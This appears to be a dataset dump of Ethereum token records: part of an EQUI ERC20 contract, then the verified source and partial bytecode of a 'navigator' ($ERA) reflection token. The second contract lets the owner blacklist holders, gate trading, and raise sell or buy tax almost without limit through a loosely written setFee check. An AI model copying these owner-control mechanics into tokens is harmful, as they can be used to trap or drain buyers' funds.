brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title EQUIToken * @dev A standard ERC20 Token contract, where all tokens are pre-assigned to the creator. */ contract EQUIToken is StandardToken { string public constant name = "EQUI Token"; // solium-disable-line uppercase string public constant symbol = "EQUI"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 private constant INITIAL_SUPPLY = 250000000 ether; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[0xccB84A750f386bf5A4FC8C29611ad59057968605] = INITIAL_SUPPLY; emit Transfer(0x0,0xccB84A750f386bf5A4FC8C29611ad59057968605, INITIAL_SUPPLY); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610642565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061064c565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a06565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0b565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9c565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610ce4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d1d565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f3c565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611138565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f4551554920546f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561068957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106d657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076157600080fd5b6107b2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610845826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b1c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb0565b610b2f83826111bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f455155490000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d5a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610da757600080fd5b610df8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fcd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111cd57fe5b818303905092915050565b600081830190508281101515156111eb57fe5b809050929150505600a165627a7a7230582057396a18f88318544ba6e31b801bc53e9d138a924203b04027ac3b51df3da4f20029
{"success": true, "error": null, "results": {}}
2,581
0x347baf98161afe3013878ff34a8106dc7e9d4e78
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // File: contracts/navigator.sol // https://t.me/+9yNso0iM2fhhNDEv // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.12; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract navigator is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "navigator"; string private constant _symbol = "$ERA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 6; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 5; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 1000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610575578063dd62ed3e14610595578063ea1644d5146105db578063f2fde38b146105fb57600080fd5b8063a2a957bb146104f0578063a9059cbb14610510578063bfd7928414610530578063c3c8cd801461056057600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104d057600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027d57806318160ddd146102b557806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024d57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b34565b61061b565b005b34801561021557600080fd5b506040805180820190915260098152683730bb34b3b0ba37b960b91b60208201525b6040516102449190611bf9565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611c4e565b6106ba565b6040519015158152602001610244565b34801561028957600080fd5b5060135461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50683635c9adc5dea000005b604051908152602001610244565b3480156102e757600080fd5b5061026d6102f6366004611c7a565b6106d1565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610244565b34801561033957600080fd5b5060145461029d906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611cbb565b61073a565b34801561037957600080fd5b50610207610388366004611ce8565b610785565b34801561039957600080fd5b506102076107cd565b3480156103ae57600080fd5b506102cd6103bd366004611cbb565b6107fa565b3480156103ce57600080fd5b5061020761081c565b3480156103e357600080fd5b506102076103f2366004611d03565b610890565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611cbb565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029d565b34801561047957600080fd5b50610207610488366004611ce8565b610a8a565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b506040805180820190915260048152632445524160e01b6020820152610237565b3480156104dc57600080fd5b506102076104eb366004611d03565b610ae9565b3480156104fc57600080fd5b5061020761050b366004611d1c565b610b18565b34801561051c57600080fd5b5061026d61052b366004611c4e565b610b72565b34801561053c57600080fd5b5061026d61054b366004611cbb565b60106020526000908152604090205460ff1681565b34801561056c57600080fd5b50610207610b7f565b34801561058157600080fd5b50610207610590366004611d4e565b610bb5565b3480156105a157600080fd5b506102cd6105b0366004611dd2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e757600080fd5b506102076105f6366004611d03565b610c56565b34801561060757600080fd5b50610207610616366004611cbb565b610c85565b6000546001600160a01b0316331461064e5760405162461bcd60e51b815260040161064590611e0b565b60405180910390fd5b60005b81518110156106b65760016010600084848151811061067257610672611e40565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ae81611e6c565b915050610651565b5050565b60006106c7338484610d6f565b5060015b92915050565b60006106de848484610e93565b610730843361072b85604051806060016040528060288152602001611f86602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cf565b610d6f565b5060019392505050565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161064590611e0b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161064590611e0b565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ed57600080fd5b476107f781611409565b50565b6001600160a01b0381166000908152600260205260408120546106cb90611443565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161064590611e0b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161064590611e0b565b66038d7ea4c6800081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064590611e0b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109859190611e87565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611e87565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611e87565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161064590611e0b565b601454600160a01b900460ff1615610acb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b135760405162461bcd60e51b815260040161064590611e0b565b601755565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161064590611e0b565b60095482111580610b555750600b548111155b610b5e57600080fd5b600893909355600a91909155600955600b55565b60006106c7338484610e93565b6012546001600160a01b0316336001600160a01b031614610b9f57600080fd5b6000610baa306107fa565b90506107f7816114c7565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161064590611e0b565b60005b82811015610c50578160056000868685818110610c0157610c01611e40565b9050602002016020810190610c169190611cbb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4881611e6c565b915050610be2565b50505050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161064590611e0b565b601655565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161064590611e0b565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610645565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610645565b6001600160a01b038216610e325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610645565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610645565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610645565b60008111610fbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610645565b6000546001600160a01b03848116911614801590610fe757506000546001600160a01b03838116911614155b156112c857601454600160a01b900460ff16611080576000546001600160a01b038481169